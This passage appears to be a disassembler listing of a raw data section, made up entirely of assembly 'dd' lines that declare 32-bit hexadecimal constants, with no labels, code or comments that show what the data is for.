		dd 0D12BD7C3h, 0C82E793h, 94A40B3h, 3C8A8A5h, 304998Dh
		dd 1EA20892h, 0CECA0D0h, 0DB25C24h, 712D4F00h, 2088BDCh
		dd 0ADE02E5h, 2C686AA6h, 0CB8BCC1h, 0D58644h, 0E958452Dh
		dd 6C6E14C2h, 0ECA552h,	0F35CDB36h, 12871C7Ch, 0A3BBE17h
		dd 40886025h, 0FABB43C9h, 0A2542A07h, 0C740E4FEh, 9389FD2h
		dd 0C27B68E0h, 8E04E0A0h, 953271E8h, 20B380DBh,	62A01EB8h
		dd 144EC800h, 8B9728CEh, 5E750064h, 379D6851h, 7F0302B3h
		dd 0B8418EB4h, 51BCF294h, 25BC2C70h, 0F7048810h, 74CADB2Ch
		dd 0C2A47606h, 261D0929h, 30982068h, 0F900CECBh, 22A83FE3h
		dd 9A261Bh, 9CC4E546h, 18F02BD8h, 348C369h, 0F84BE44Ch
		dd 2A2FE5B5h, 18F87F19h, 51C54124h, 521301B3h, 8057C1AFh
		dd 532BD430h, 9404009Bh, 0F043A4DBh, 39C0FDAFh,	9F905044h
		dd 0D87509AAh, 20987DEFh, 28F403EEh, 82D6C414h,	2D130FB4h
		dd 39882765h, 0F7AFA320h, 714164BDh, 0FE3D403Bh, 0E40822h
		dd 38434058h, 0B375BC9Ch, 8828A958h, 0F8AC80D4h, 0CEDBE794h
		dd 0BF0085F6h, 0E6B26C95h, 31171D6Bh, 76A9A3A5h, 809068A7h
		dd 0B09041BFh, 801899DBh, 9973215Eh, 6500961Fh,	0B82B0331h
		dd 22AEE267h, 0C1F07DBFh, 0B718E02h, 0C137E591h, 1D10B974h
		dd 0E37C02DCh, 56074B18h, 0C0E19659h, 0E20AEE21h, 0A0000E9Ch
		dd 378D050Dh, 1FFA5A82h, 8152FBBFh, 66037DB6h, 20E180D2h
		dd 848F9D28h, 3F4C3A6Ch, 0A59FE10Bh, 0F8A29680h, 5E005706h
		dd 1461F3F0h, 2E65BFE7h, 10601D1Eh, 4C899609h, 0A17460h
		dd 5EF3BFE5h, 0B27DB5D2h, 6F1EFB06h, 0A629EBA4h, 0E2C100ECh
		dd 300F9202h, 392511E6h, 68CC10DEh, 6E4C031Fh, 64064B71h
		dd 6CDAACFAh, 0AFE69205h, 9C4327F9h, 0BB59683h,	0EECDE239h
		dd 136CB080h, 0F8005DE0h, 5EA98B2Fh, 7303239h, 0BC2740FAh
		dd 0C0B7A4A3h, 6F6052FCh, 0E1FB433Ch, 0F12D86D9h, 0BC2960h
		dd 3E964C79h, 8DB485B3h, 7E8060B6h, 19CDFC4Eh, 0D8E81EC8h
		dd 4973C72Dh, 0ABFAE065h, 0F409A7B9h, 0E860DD0Fh, 3E293308h
		dd 3201A5E6h, 0E7F626DFh, 0AF62F835h, 7C40C345h, 61B51E03h
		dd 695F5AE0h, 9C5C3999h, 7C017091h, 0A8850479h,	104AC00Bh
		dd 0C5F4DD5Ch, 7BC02917h, 28C063ECh, 449CB46Ah,	51050880h
		dd 2456CCD1h, 64CD10D2h, 37DE80D8h, 4B231A92h, 24C031FFh
		dd 0C94467Ch, 6399A702h, 3A98448Dh, 7480435Ch, 0CBA56561h
		dd 9D00C36Ah, 0DFE1C91Eh, 2721AA09h, 0BC912F28h, 2C583376h
		dd 1E0E71AEh, 0A319092Ah, 0F4887630h, 483E54D8h, 3729C7Eh
		dd 41AAA904h, 18785885h, 0BA4034B4h, 1FDE76Bh, 0DDE8202Fh
		dd 82AC964Ah, 60778E49h, 0E2DE4034h, 95720092h,	0FEAF034Bh
		dd 189B2273h, 0E4913080h, 734D98BCh, 0E2209E10h, 96047F41h
		dd 0FE295C88h, 433800CEh, 0AA5F405Eh, 4B00564Eh, 494FC760h
		dd 17DDC39h, 6E0A878Dh,	807C2B3Eh, 0F335FBB9h, 90A6D6F9h
		dd 7F4444D4h, 0F01DE307h, 75470F81h, 66A3BAF0h,	1820055Ch
		dd 0C05AF1AEh, 1A902EF0h, 0B850DE24h, 0B161E026h, 68F2CF0Bh
		dd 884E8D00h, 26091274h, 807C3E5Ah, 38E3E2F6h, 1DF40041h
		dd 39D8B6AAh, 0DD7973D9h, 9D919E02h, 0F11E0C8Ah, 2BE88390h
		dd 9BD9D240h, 0EAF3405Dh, 0EBB0F2FDh, 89834500h, 8E687B74h
		dd 74A54C6Eh, 0B32CB80h, 491F41D8h, 0AF0EA6h, 0FA025A0Ch
		dd 0B67810h, 0BEE19F7Eh
		dd 8DB7DED3h, 246E62Dh,	71FD4120h, 0B911C4h, 63CA4E95h
		dd 78D4A7DDh, 4010BE41h, 60476232h, 0B0362B00h,	0F4FEB9ADh
		dd 8A0B30A4h, 0BEE2DF94h, 0A89EE27h, 0C5670004h, 457AC6A0h
		dd 463E2479h, 7BC00C14h, 0D90011C9h, 20D14961h,	244D14BEh
		dd 0C5E4AE6Bh, 82D0F06Dh, 272EE53Eh, 248406A3h,	0FFD70061h
		dd 8E333AC4h, 0C000712Ah, 6ADD68F9h, 3175CDA9h,	1DE1B7A4h
		dd 0F86DAEh, 4E9CE762h,	3FAA8811h, 1C0F12E6h, 0E8412EFEh
		dd 6013684Ah, 0F54B85BCh, 6C309C53h, 0B7ED35h, 0E4A83A1h
		dd 3140F02Fh, 720055E0h, 3ABBCCE8h, 9094EE03h, 2EF098C8h
		dd 49B44EF3h, 508A2004h, 0C13CC094h, 168C16EEh,	84CE2D8Fh
		dd 0E3F8249Ch, 0CFB93C6Ch, 41674801h, 3C6D8D58h, 0F548E500h
		dd 312794C0h, 0EAD2E200h, 0ADFA56E4h, 7A4A121h,	0E585B438h
		dd 6878C709h, 91C6AE8Fh, 8A904F03h, 11007AA3h, 0E25C56C0h
		dd 289872h, 51F9F294h, 42EE2A58h, 0C8612B4Ah, 9C7762A7h
		dd 0C563417Ch, 9253103h, 2D5830C4h, 5FFFE401h, 86556143h
		dd 6626D47Ch, 39CB01A8h, 2975071Dh, 1A231754h, 0E5939802h
		dd 84806126h, 1B02A10h,	0AE2EEC7Ch, 55465C9Ah, 48140039h
		dd 3C3898F1h, 8EEED937h, 25510400h, 0D3CC7161h,	40A84A42h
		dd 0D9A56650h, 0A3022916h, 0D94618Ah, 0C19882E7h, 80BF10AAh
		dd 0A3A67688h, 0EFCEA050h, 1F0BA2Ah, 52AB563Eh,	2BCF951Eh
		dd 357B1421h, 4A0CDFCh,	277329FBh, 0F180AB38h, 0EE1024BFh
		dd 0D9B601EEh, 479916C9h, 3ED88C54h, 4588713Ah,	0B3EC0486h
		dd 1F745854h, 0D1176408h, 0FD78F830h, 114A268Dh, 5E5B0067h
		dd 73E4DA5Dh, 8078E559h, 71E99A51h, 9F4C0B8Ch, 0CC90963Fh
		dd 85F288E3h, 3D847E12h, 0D1EC2416h, 0B6D0405Eh, 0DFECFB78h
		dd 860080FAh, 0A3B77BEh, 0F411CBF0h, 53A60105h,	6836FB46h
		dd 45702114h, 265CF604h, 3E011791h, 6ACA2BA8h, 0F03329D5h
		dd 186524h, 9DBADF86h, 68750ADBh, 8EB15805h, 14CD26F7h
		dd 92E4F8h, 0D450CA6Ah,	6304B14Ch, 2A62F201h, 0BC12698Bh
		dd 0D0C7CC2Dh, 24858047h, 2A3A6FB7h, 9099A4B4h,	0F32B2540h
		dd 0C17902C2h, 0CCAE1EA1h, 67078C72h, 0FAB5A6F7h, 0AAF47A10h
		dd 0DDF83E2Eh, 479C992Ch, 264950D7h, 0A200DE70h, 6F159E65h
		dd 3E773F7h, 0DD2DEC0Eh, 80122F02h, 2824A476h, 9A38EC80h
		dd 720C078h, 216ABCAEh,	759EED0Ah, 342414BEh, 0E5960E01h
		dd 0F4225F93h, 52F02618h, 6112A05Dh, 20E2F2F6h,	81963200h
		dd 0B4D5976h, 100B479h,	0F72A3C04h, 0B8F07A7h, 0A5E4776Bh
		dd 0E9439849h, 89E2CCC5h, 0FD2FA703h, 8F0DDB0Ah, 0A8AC91D1h
		dd 4F0FA078h, 0FB467D10h, 0C8B0A183h, 0C37B40B0h, 138F2C19h
		dd 56EA09B0h, 8C02608Ch, 0C91C2AFh, 0A7A1006Eh,	97E8F83Fh
		dd 0B7EC0090h, 0E3FEC400h, 77B54D87h, 0A3B13064h, 50A5CC98h
		dd 0B3793505h, 0C4E027ECh, 8B2B0403h, 80BDBADEh, 132A2112h
		dd 0C001FB4Bh, 0C0AE3DCCh, 0E06150E3h, 46C992Ah, 0E33FAF09h
		dd 6F1007C0h, 0BA10DDECh, 0B4FD4BD0h, 2E248988h, 0AB37CE8h
		dd 0A38EF116h, 0CFEEFC20h, 3EAA00E3h, 6FFAA9F7h, 5100B559h
		dd 407328B9h, 23CD421h,	1EB1F3E9h, 1CC02BECh, 28B041F1h
		dd 0B45FC67Dh, 6E318020h, 0C29A00E2h, 0B065FECEh, 0D84DE462h
		dd 708D09F4h, 412C8189h, 3C2DAC07h, 7C3F4576h, 8E14833Ch
		dd 4710C8AFh, 0F6600F9Fh, 0C4606ED0h, 4C5931B8h, 0ACE99B01h
		dd 0CCAFB485h, 672EE462h, 8CC5138Bh, 5C1C7EC0h,	801BCC1h
		dd 88E63336h, 7D622D4h,	0F7DAA10Fh, 8580157Ch, 9110F53Ch
		dd 0A700B440h, 0F41C3D1h, 0F97FFF06h, 9875A800h, 72EB9F86h
		dd 68F0059Bh, 0E2FDAE6Eh, 13BA2364h, 77650C4Fh,	370EB0E9h
		dd 29917DCh, 8B41B9DFh,	422464B0h, 3E7922DDh, 5780E526h
		dd 7AC7D01Eh, 3E00ACDCh, 786C70CDh, 2CC1FDA6h, 11D085E6h
		dd 7A8C18ABh, 0F0248149h, 2DBEF217h, 0E018AA7Bh, 3C00FDD1h
		dd 48DEF995h, 0BEE659h,	0E8FE3817h, 77C0DD26h, 24800E05h
		dd 4C1E4205h, 9FB0022h,	0E0601422h, 100B5E5h, 3EFD96A0h
		dd 1BCBD8Bh, 0F8E802ADh, 396571F5h, 1CC10058h, 0E0510919h
		dd 0E9C74CB7h, 36CE007Ch, 0F9ED28CBh, 0FA01B80Eh, 0E46AF6E7h
		dd 0B0414F0Ch, 0CD097DC5h, 0A7B91185h, 0A0AF98C8h, 991908h
		dd 0C1290305h, 0EA90A89h, 63620800h, 0BEF94DECh, 0B324A18Ah
		dd 0E2FCC50Dh, 40B4ACD8h, 637C0387h, 0DBA7AB81h, 0E47C8C35h
		dd 2CE67280h, 4209459Fh, 84C41749h, 0D885D4D8h,	0B00474E2h
		dd 0C21FF958h, 5CF2CE2Ch, 46059898h, 3D5A3EE6h,	0E5C5CC80h
		dd 45BC0339h, 2E412432h, 3DE04175h, 0DB8948A0h,	0AFF19204h
		dd 5895AEF7h, 460BB4A3h, 0FC82891Ch, 1DE09277h,	0AF04420Bh
		dd 0A85FB296h, 0C0523493h, 0AD0E1Bh, 0C52CBDABh, 0B4EC6AA0h
		dd 8066A93Dh, 0B2BA4EE5h, 76BD2A68h, 6A111367h,	718D761h
		dd 0E869E17Eh, 58B8A429h, 0B0B2FD13h, 0BF90B921h, 0B2510A82h
		dd 0B089B285h, 187586D4h, 3E7D2874h, 6EF86262h,	3BFD2283h
		dd 0F5E810h, 9BF3300Bh,	0A3BBC167h, 0B6A67508h,	0C4B9007Dh
		dd 0C0AFF051h, 38782Ch,	5EBBA385h, 12A08CC3h, 93F9AE29h
		dd 20208330h, 804C275Dh, 8400804Eh, 0D9E34DCFh,	7E4526B5h
		dd 0C71B0894h, 510420D6h, 8481A26Ch, 602B84D8h,	760CC428h
		dd 50436B00h, 746F8F29h, 0EAE3031Eh, 1DF72B83h,	0C86107FAh
		dd 73B42024h, 0D181EE00h, 0AE370A8Dh, 0E0BE3EE5h, 1C98BB26h
		dd 7B9AC929h, 8401DC5Ah, 0D05DCDB7h, 202FFEAEh,	0B3A3C128h
		dd 34D88664h, 0F92F0606h, 92A0E858h, 0FD2148E6h, 36642026h
		dd 0F090964Bh, 0F9003FD1h, 0FF3A734Ch, 4E5A3D15h, 0B698204Bh
		dd 0EC00B736h, 58C49C07h, 2C94A2Fh, 0AB9F08Ch, 0C4C15685h
		dd 8B9450FEh, 7C50733Eh, 0F192F8h, 0C520358h, 6AFB4C01h
		dd 0DF81B229h, 410641CCh, 0A5DA4088h, 0A492518Eh, 76112601h
		dd 996CDF3Eh, 2B3F0432h, 60F95F80h, 569A1EF4h, 11C6E803h
		dd 0CC4DEF2Fh, 690058A6h, 2067B62Ah, 224DAB9h, 0A308B0B2h
		dd 46F8023h, 6568D360h,	59B1D660h, 3E732Fh, 1757B81Ch
		dd 1EF11470h, 0D1E99302h, 0E06798F5h, 3DFD90h, 715F15D7h
		dd 0E6130470h, 2B51EF14h, 0BE670BD8h, 0BD08824Fh, 0F928506Ah
		dd 0A6B27094h, 0C5346850h, 0E2A57689h, 0C15440B0h, 4BEC6F53h
		dd 0AD0004CAh, 0A6411225h, 6C009CA5h, 0D3CA51EDh, 4A35D9Fh
		dd 896AB667h, 0ACB98Dh,	6E5A2C98h, 24788455h, 550DB9Ah
		dd 44AFBBBh, 1D8AFAD8h,	86E49165h, 0B2807C7Ch, 887D1130h
		dd 0D1006773h, 1E5648FEh, 693FABA9h, 1CE3A13Dh,	7C7E209Ch
		dd 0C3A701BBh, 5DD586DBh, 82F04454h, 67207FFCh,	2F6BCB3h
		dd 0FF0EB819h, 44D96C68h, 4B9E1800h, 0DD50AFh, 553B7EE4h
		dd 83392D8Fh, 704AA4BEh, 88F9EA05h, 0B3EFDD83h,	4E2C64EEh
		dd 5818F848h, 81A8C0F8h, 0BE4A9Ch, 9003F7E5h, 9EFC4185h
		dd 2B8FC4A8h, 1CD0F84Ah, 5888134Fh, 24C524C5h, 0BCDCC806h
		dd 0CE4F8F05h, 9C21084Bh, 9E0F68Bh, 9E209A67h, 109B4770h
		dd 61FA8CABh, 2A00B0FEh, 0F9CE01CCh, 0F0C5269h,	24569496h
		dd 90534D89h, 5B8AC780h, 1B8DFFh, 0B6C81DBAh, 0A6023F39h
		dd 0BC079C91h, 1E64C373h, 470E48F3h, 55602AA9h,	1770B3FBh
		dd 4B2BCEEh, 6967B502h,	0C980C1AEh, 76DA7690h, 61C4444Ch
		dd 7C40058Ch, 6295E23Dh
		dd 0FE41117Eh, 8D425C7Ch, 58EC4869h, 7B28C93Eh,	6E8F2CD3h
		dd 0A0B900BFh, 961D3Eh,	8F586089h, 0BCDA7ABBh, 34C8884Eh
		dd 0DD721D0Dh, 5FC147BEh, 4C6A005Ch, 4011E94h, 31AC09EBh
		dd 0DC4405A4h, 4F0318B9h, 81BCDF90h, 0F0C0B080h, 7073244Eh
		dd 7020E5AEh, 136F14FAh, 9546F3A5h, 0D9A68680h,	0BC562400h
		dd 0D13AC3E0h, 4A0B268h, 0BD31B884h, 1CA4818Ah,	13FE1288h
		dd 17802EE1h, 10226860h, 915F6FBEh, 88903480h, 0F900DB48h
		dd 7F14C482h, 38ED191Ah, 147528A9h, 440141C1h, 4E77D85Ch
		dd 0A2380269h, 8840D247h, 852DBE43h, 3864B4h, 749A195Eh
		dd 0DE0B7866h, 49EE3A09h, 34D17Eh, 2B60ADC8h, 0CD057529h
		dd 0C2765FA2h, 0E452E453h, 90C0B094h, 7CA6C8F4h, 5B40F6E5h
		dd 0DF58478Ch, 7910099h, 0DE00F5B7h, 96460D1Eh,	16FF4C90h
		dd 0B985A29h, 0F005A560h, 0DCB020F8h, 6604E911h, 0E5D955C6h
		dd 588940B0h, 0E0530B3h, 70FB4Bh, 0AE8E057Ch, 1096BA4h
		dd 2AAD9868h, 0A61D602Ch, 0CA884B22h, 173E7B40h, 284E00F3h
		dd 64EB6CFBh, 0ECECFAh,	5E8F2F54h, 0A78D0C41h, 84CC3D13h
		dd 9BDF6861h, 9489E845h, 0E99CCCh, 0E00831E1h, 0FDAF5102h
		dd 32677444h, 23B81C6Bh, 85421E20h, 20A8987Ch, 581F7BD5h
		dd 419366E1h, 0D82F2804h, 0A444AD5Dh, 1B097E00h, 49913A37h
		dd 4F360026h, 56A4BCD7h, 2909088Ch, 0E468837Eh,	0A66C0094h
		dd 7BBD49B1h, 6D002DD8h, 85C0059Fh, 2D51FCC2h, 34CCD42Ch
		dd 25E9C400h, 5511071Dh, 17BFE4Bh, 54FDF380h, 609112AAh
		dd 0C600E45Dh, 0FE1EA341h, 74382B5h, 0E57BFB5Fh, 0EC4024CEh
		dd 0ED8480F4h, 407A216h, 0EDD2FF6h, 1100BCC8h, 0B782389h
		dd 0B84BBB2Bh, 0EC461009h, 0A4D4A000h, 1B51F465h, 9DB7002Bh
		dd 784186CBh, 3A1667C2h, 0A400CCCDh, 0E5BBC98Fh, 0B722F0A5h
		dd 0DA88A038h, 2E52080Bh, 2F988256h, 0E58C0446h, 1FEBC04Ch
		dd 309AE200h, 6635D2C7h, 9F411879h, 0FC43380Ah,	0BB64B0h
		dd 0C54709h, 0EC1CA65Bh, 18980053h, 473FF71h, 7712960Dh
		dd 0C890601Fh, 73F2A27h, 1A4870F5h, 9BFDC0CEh, 6A7FC1C7h
		dd 628B0E0Bh, 30C400D8h, 0B8D3FABEh, 678F440Ch,	3800ECA6h
		dd 775D5F13h, 77EC01C7h, 0D7D90456h, 805CA292h,	0BA76DBB4h
		dd 0FD40DCB4h, 2E0BD41h, 8C1E9593h, 10D48860h, 596C88Bh
		dd 4CAC3FBBh, 47BA1298h, 0ED072603h, 7D2F9783h,	417C4038h
		dd 0BA0B70B3h, 5E8804BFh, 0DCF30302h, 0A5108440h, 3BECB1h
		dd 0CF537EF7h, 5C4ACC0Bh, 8C589CB6h, 0B109D44Ch, 60FADBECh
		dd 47B3D21h, 0C12B9819h, 63413E6Ch, 0C38127B4h,	0C0B7AD1Ch
		dd 93F01100h, 0B74A722Ch, 150FD14h, 0FA5101EAh,	0C9BF3317h
		dd 128642C8h, 0A159F061h, 3AC2C660h, 1900ACC5h,	20A8C6ECh
		dd 0F8CDE255h, 82FA02E3h, 0F80331D0h, 0E7638460h, 1E3ABF04h
		dd 9CE4A5F7h, 4C60007Eh, 0AE4004A8h, 489C7DC2h,	3824C052h
		dd 408D4F03h, 0DFE50F4h, 4CE4841Dh, 6D694D00h, 0F3AFBCEDh
		dd 17E9E6ACh, 0C8E81E59h, 4D0029ECh, 0F8D46A58h, 1E1C50F3h
		dd 3814AEh, 2B045D27h, 0D95D629Dh, 48C0CAB8h, 0BC83BA90h
		dd 0E2DD75CFh, 90FE213Ch, 84CA81A4h, 586D98E3h,	0A91B9002h
		dd 8C0C63Eh, 13009620h,	5E30C968h, 0B4ED4024h, 0E63540A4h
		dd 6601D6D2h, 7560E374h, 0F5D07D9Bh, 878C010Dh,	0E770C02Eh
		dd 34032A67h, 0A3F4234Dh, 25CE9862h, 1F2012BEh,	0E1AC3026h
		dd 6E1D7F81h, 7443A43Bh, 0D80B551Eh, 128E19h, 57C34E09h
		dd 16042168h, 0BCD43609h, 0B0D8D80Ch, 0C38C44F8h, 80F051D2h
		dd 0B0F0B057h, 0EDD11288h, 4A226h, 2EACB43Bh, 25FA6Fh
		dd 8180D7C2h, 492F1426h, 0BAD36800h, 38290FDAh,	44FD5E4Eh
		dd 0B10624D8h, 88306F2Ch, 69CC01h, 1A9373FAh, 8379B5E6h
		dd 0D8BCCE5Ah, 0A5130900h, 6F69DF18h, 5B842A16h, 32B0E4h
		dd 2128165Fh, 6F27245Dh, 0FE59C600h, 0AF0D1F06h, 4BE43A69h
		dd 1C72D7D1h, 1BBC5000h, 0C7AA480Ch, 283DFA04h,	0F8ACFDF6h
		dd 5F22847Fh, 0D565010Ch, 20D12DF4h, 2A70F4C8h,	98691E04h
		dd 0AE094659h, 4F1704D1h, 247C8041h, 78443338h,	2B5E0F4h
		dd 0AC9C27F6h, 0DB20AB99h, 3397EE2h, 55F02F04h,	69E3B6ADh
		dd 7A4017A9h, 1E2BA802h, 484A0E7h, 363738Ah, 0F0E07B7Ch
		dd 0C98ADDC8h, 986A0860h, 5A34A095h, 2ECB22ECh,	4070A388h
		dd 0E4C05EE8h, 8079570Ch, 704A5089h, 0C9544E43h, 402FFA50h
		dd 0A9C6AAA4h, 55E600F2h, 573E6876h, 0F0B8883Ch, 80B05491h
		dd 0A6EEA9Bh, 6DA3BADAh, 884C80B8h, 42094362h, 0C0083B9Fh
		dd 604E3Ah, 0D2F63F7Ch,	863D9765h, 58AE1E28h, 74E1A40Eh
		dd 483B40F3h, 0FE6D4FB5h, 1E340BF1h, 64F14B1Ah,	0B51D8B06h
		dd 0DE2C31A0h, 3A014161h, 977D4028h, 65DD7D60h,	4AF74500h
		dd 0ECC130DEh, 986E279Bh, 267F1CA0h, 0F22F15CEh, 0DD208114h
		dd 326F2440h, 0B211F488h, 123E4ECDh, 0ABD430E8h, 0DA078902h
		dd 0DD4CF546h, 4B1EA070h, 39BEE7F6h, 76270103h,	0BD883F7h
		dd 0A54AE41Bh, 0D95408D0h, 4EC00057h, 0ABB975B5h, 0CA1F5B78h
		dd 1D8B0DD2h, 0E40C6468h, 821800EEh, 0A640F111h, 6904158Dh
		dd 8ADD12A9h, 39C408BDh, 0F88F0A6Fh, 80A3CF6Fh,	0EA88F367h
		dd 7C7FEC2Bh, 0FCC3388Bh, 3F804CBh, 5718C289h, 90F49B24h
		dd 5B80166h, 18D7A1B7h,	92D20ADh, 869C0809h, 4AC0D8B2h
		dd 31C41FCh, 306E9EF5h,	7F168544h, 0BCB3C265h, 419D503Eh
		dd 394B004Ch, 182B02ACh, 8ABA6913h, 1DB2CC8Ch, 284B8143h
		dd 3FF322ACh, 0B037A49Bh, 8447914Fh, 43A02D0Dh,	66840CE8h
		dd 0FED43Ch, 0BA42F8FAh, 0A189BBB9h, 10BF881Ch,	0A08C2FC2h
		dd 589CD710h, 0B829026Ch, 99F87815h, 6DFBD4C0h,	3A762240h
		dd 0D85AB5A2h, 4801B85Ch, 0D1C7F682h, 89C92CF7h, 24701AD9h
		dd 4040BEB2h, 0B65B2572h, 8602427Dh, 0BB7641A8h, 40BC76E1h
		dd 799A9508h, 15F3CCE9h, 0E4363805h, 0FCB7FD83h, 0E028204Bh
		dd 8D005618h, 0F274F85Eh, 3CBB9Eh, 79962D14h, 7565398Ah
		dd 0FD18AF04h, 8A0D351h, 45B4A610h, 2542880h, 3EFB4366h
		dd 9BF422B9h, 0A9409454h, 27B5AC9h, 0DF83FF58h,	0B4E0FD20h
		dd 0C0C20FAFh, 0D991577Ah, 77BE8880h, 80D08C14h, 0B913DBCDh
		dd 0F8370929h, 0F090A5FDh, 8A0F6836h, 0E28003E6h, 0C3EFEDF3h
		dd 8B980243h, 0C2E2FB41h, 0EF70520h, 943800ABh,	9D13CADCh
		dd 1E50016Eh, 0E5007ABCh, 0D1E11126h, 0B19AB410h, 775100F8h
		dd 0BD69C94Eh, 20930A25h, 372A0234h, 0B70710Eh,	0DD1C1562h
		dd 0A8D98062h, 56C0003Ah, 6DFF6E7Ah, 3FAD098Fh,	54194E2Eh
		dd 0E5031125h, 0AF858840h, 3A84A0C4h, 0CEE49641h, 4A9790E0h
		dd 7B006DFEh, 50C2B3B0h, 0D83071h, 890B5B5Eh, 526491A5h
		dd 438D0C11h, 62C40D00h, 240960B7h, 0CAF5F004h,	54F5423Eh
		dd 0A828206Eh, 0C7000F93h, 4352502Ah, 0F9BEABFEh, 6FA8316Eh
		dd 5072F8B5h, 0A4EDD600h, 122FD2ABh, 0A6AC3E0Ah, 5B824C0Bh
		dd 872454C4h, 0A2605840h, 17103FF2h, 315566h, 0E9B23D4Ch
		dd 0F3254125h, 144C89h,	0B04FCAD2h, 3DC5E134h, 0AF00B5F8h
		dd 97AA9942h, 28AD12FCh, 329CDB39h, 6F7057E7h, 811D10F1h
		dd 84BE2222h, 9DD41D50h, 18248E03h, 3EC6AE13h, 0A00E4479h
		dd 9193DB88h, 10C3C2C0h, 16D1F8E8h, 16BF18DEh, 0F9AC8848h
		dd 5C28A24Bh, 61DA002Dh
		dd 0B8EA410Fh, 2C017C3Eh, 0DDA17883h, 207B43FEh, 0C6D14850h
		dd 0C77A1A24h, 0EB432D1Ch, 0BE00430h, 602496A8h, 0A3B78490h
		dd 0B8D00900h, 7D516DDh, 0EC21032Bh, 0EAFBB1F2h, 925D8DD0h
		dd 12AC1E50h, 0BA412913h, 0A48FE888h, 1A520984h, 8049B96Fh
		dd 8402F65h, 2486D7F6h,	71490B4Dh, 8580C6E4h, 40A8C0AEh
		dd 10AB74A1h, 0F0FF04h,	9CED126Fh, 0FE3CB1DFh, 832A6907h
		dd 61E7C168h, 803EA6F1h, 6B10A07Dh, 0F8214B22h,	34C4CFCEh
		dd 827E00FFh, 0E3293CD6h, 6298534Ah, 0F0A3300Ah, 1A09F02Eh
		dd 8228187Dh, 569B096Ah, 1464FD1Eh, 6B43FA00h, 0EF99DCF2h
		dd 80A3007Ah, 124B53D8h, 0DE058FAAh, 84EA81B0h,	0AE12BCE2h
		dd 0CAC8A2CCh, 1E85F488h, 70E067B5h, 8028BE5Fh,	1AE04531h
		dd 0E3A4692h, 269C4D8Dh, 1E958CBEh, 52409B8h, 1A8051D8h
		dd 38F1F9ADh, 7700CA1Fh, 0B9651D04h, 0EDDD0061h, 0EA8AE62Fh
		dd 0D000BADFh, 0F3EF1226h, 0FC247AB6h, 98109742h, 189031ECh
		dd 34B44090h, 0F60DAD40h, 0FBDC002Fh, 47BCA1B9h, 0ED0E611Ch
		dd 6BEA13B2h, 64CCC168h, 4C201802h, 4FBF1E03h, 7864882Dh
		dd 0AD5A2405h, 0D080DB9Dh, 16F11D05h, 35332D86h, 8EA780E4h
		dd 81DD56Ah, 34976EA0h,	10804F2h, 2A89BEA7h, 106E4Bh, 9571E135h
		dd 9247A7B5h, 57E8A900h, 22EAADA3h, 8A7B053Eh, 2C014B11h
		dd 13007DA0h, 542A0964h, 4D93A20h, 0B5EFA9EAh, 484CB8D2h
		dd 9C7C02Ch, 3DE830Eh, 0A0BB3E8Ah, 6C98BED5h, 250FACBFh
		dd 81A16504h, 0F9AE2167h, 5F2E3862h, 79414068h,	0CFFC5596h
		dd 0A2679500h, 24885931h, 7DDB2538h, 7AE02CCCh,	36D6700h
		dd 60E72661h, 68B70517h, 0BA4939h, 0D2C8FEA0h, 353C7A9Bh
		dd 4FCB0090h, 0FD3CC568h, 36B9005Ch, 63FC6B02h,	563DEAAAh
		dd 40330015h, 0DBCB71ACh, 0AEE1007Ch, 355BA5D5h, 6118F558h
		dd 66286032h, 0AF0D0096h, 8FFB4B6h, 9A076C1Bh, 5AB1F819h
		dd 138ACC41h, 0F7109DCh, 0E23AF278h, 169883ECh,	49C06FE0h
		dd 0F5BFDAA2h, 0FE2B0C58h, 0FB193188h, 0A5D9C100h, 5B525E72h
		dd 0F9EA1D7Dh, 63BF802Bh, 97DA96B8h, 5C408A03h,	35882Dh
		dd 32A23B39h, 0CEDF61Dh, 0CA05310Eh, 4065E339h,	2224F8E9h
		dd 0EAE31FFEh, 8DE0809Fh, 6853994Eh, 218440D0h,	2A300A5Ah
		dd 0DBC9052Ch, 0DD88028Ah, 91204C9Dh, 0E0AA28CAh, 33FE00CCh
		dd 0A829FF81h, 40C813D3h, 5B9B4326h, 0AB535900h, 5AD4CC31h
		dd 0B80C0044h, 0D9CAB512h, 3018A9C2h, 60282BDAh, 8B16088h
		dd 0B6F95915h, 0BBC65F00h, 195B8AE8h, 0D004001Eh, 3B556A53h
		dd 61DD5097h, 1F275643h, 71B5D05Fh, 0A173000Ah,	0E0B3A5F7h
		dd 618CF49h, 0F3993B88h, 73550E47h, 0F5CA0BBCh,	277DC0F8h
		dd 88317069h, 160A89ABh, 35B43E8h, 0BB347A78h, 9280E840h
		dd 5D0335B3h, 2BBEB2B8h, 174CC984h, 3E289081h, 4855ADF5h
		dd 0AE608AACh, 1696B051h, 41690007h, 1C3CBBADh,	3800C088h
		dd 1252F645h, 1DB110BEh, 7F08AE14h, 13B9C430h, 6E0EC0B6h
		dd 4675E39Dh, 426929CCh, 6BAC0060h, 0F1B405ECh,	10502463h
		dd 224B0094h, 0B24F3BBAh, 198980E3h, 6ECE28EAh,	31392A65h
		dd 3DA000C0h, 66482CD9h, 0C8017C5Fh, 101B0C7Eh,	24409E3Eh
		dd 503F1944h, 18914C3Ah, 112E8809h, 8F0F2B2Ah, 0C535C781h
		dd 0DB1E546Eh, 0AA41F200h, 0A0CE30D3h, 0B8297D38h, 0FC8693h
		dd 0F48598B2h, 0D6A3FF76h, 316ED900h, 80618C57h, 9E430049h
		dd 0E6AA2A2Bh, 48C633A1h, 51FE39h, 8D90C3C9h, 1736F4F3h
		dd 0BF9A9891h, 51049861h, 21101EAAh, 3D98C7E7h,	8281A97h
		dd 0C800BAA0h, 8D94BB5Bh, 7381038Ch, 0B3369CD2h, 0F48066C3h
		dd 0AC033F21h, 8B5C1655h, 92580C54h, 0B0481447h, 3207B705h
		dd 280BE35h, 3F249462h,	0D93E2E3Eh, 95846C85h, 6660410Eh
		dd 0CC279846h, 0DC735CF8h, 4F7A917Ch, 357B20h, 3B68ED19h
		dd 3041CDE9h, 612B5303h, 73D88F5h, 0BCC832D9h, 86279029h
		dd 0DF013B73h, 0A6E0EEA4h, 39D8FEACh, 47EE05Bh,	0D4E1B752h
		dd 4F2090E2h, 789AD197h, 39F3B50Ch, 7C9928h, 0CF8CEF8Ah
		dd 3EC3A559h, 23B51A00h, 0E3CA8546h, 0E930EE8Dh, 3716EC48h
		dd 0C6916B2Bh, 0F0A161D8h, 0B5C986F6h, 719584Eh, 8AF0F140h
		dd 0E7E340BEh, 0A898E4FBh, 921359C4h, 323A08Ch,	36D7DAF2h
		dd 16E00A1Dh, 0B3008C2Dh, 251AA32h, 605E9B5h, 0E13A17FEh
